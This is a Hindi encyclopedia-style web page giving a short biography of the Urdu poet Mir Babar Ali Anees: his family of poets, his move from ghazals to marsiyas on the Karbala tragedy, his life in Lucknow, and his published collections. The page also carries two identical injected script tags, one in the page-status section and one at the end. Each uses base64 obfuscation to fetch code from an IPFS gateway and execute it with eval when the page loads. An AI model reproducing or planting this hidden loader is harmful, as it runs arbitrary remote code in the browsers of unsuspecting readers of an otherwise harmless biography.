मीर बाबर अली अनीस

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
Anees.jpg

मीर बबर अली अनीस (1803-1874) फैजाबाद में जन्म लिया। इनके पूर्वजों में छह सात पीढ़ियों से अच्छे कवि होते आए थे। अनीस ने आरंभ में गजलें लिखीं और अपने पिता से इस्लाह ली। पिता प्रसन्न तो हुए, पर कहने लगे कि ऐसी कविता तो सब करते हैं, तुम ऐसे विषयों पर लिखो कि ईश्वर भी प्रसन्न हो। अनीस ने तभी से कर्बला की दुर्घटना और इमाम हुसैन के बलिदान पर लिखना आरंभ कर दिया। उस समय अवध में शिया नवाबों का राज था, इसलिए शोकपूर्ण कविताओं (मरसियों) की उन्नति हो रही थी। अनीस भी फैजाबाद से लखनऊ आए और मरसिया लिखने लगे। मीर अनीस ने अच्छे अच्छे विद्वानों से अरबी और फारसी पढ़ी थी और घुड़सवारी, शस्त्रविद्या, व्यायाम आदि का भी अभ्यास किया था। इससे उनको मरसिया लिखने में बड़ी सुविधा हुई। उन्होंने मरसिया को (वीरकाव्य, एपिक) 'ट्रैजेडी' के और निकट पहुँचा दिया। उनकी कविता राजनीतिक और सांस्कृतिक पतन के उस युग में वीररस, नैतिकता और जीवन के उदार भावों से भरी हुई है। उनकी कल्पनाशक्ति बहुत प्रबल थी। भाषा के प्रयोग में वे निपुण थे। उनका विषय नैतिक महत्व रखता था इसलिए उनकी कविता में वे सब विशेषताएँ पाई जाती हैं जो एक महान्‌ कलाकार के लिए आवश्यक कही जा सकती हैं। मरसिया उनके हाथ में मात्र शोकपूर्ण धार्मिक रचना से आगे बढ़कर महाकाव्य का रूप धारण कर गया जिसके समान अरबी, फारसी और दूसरी भाषाओं में भी कोई शोकमयी रचना नहीं पाई जाती।

मीर अनीस उस समय तक लखनऊ के बाहर कहीं नहीं गए जब तक कि 1857 ई. में वहाँ पूर्णतया तबाही नहीं आ गई। अपनी मुत्यु से कुछ वर्ष पहले वे इलाहाबाद, पटना, बनारस और हैदराबाद गए जहाँ उनका बड़ा सम्मान हुआ। इस महाकवि का 1874 में लखनऊ में देहांत हुआ। उनके मरसिए पाँच संग्रहों में प्रकाशित हुए हैं जिनमें उनकी सारी रचनाएँ सम्मिलित नहीं हैं। इनके अतिरिक्त 'अनीस के कलाम' और 'अनीस की रुबाइयाँ' भी प्रकाशित हो चुकी हैं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. सं.ग्रं.-रूहे अनीस, सं. हसन रिजवी; यादगारे अनीस, अमीर अहमद अलवी; वाक़िआते अनीस, अहसान लखनवी; हालाते अनीस, अशहरी; अनीस की मरसियानिगारी, असर लखनवी।
  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 119 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>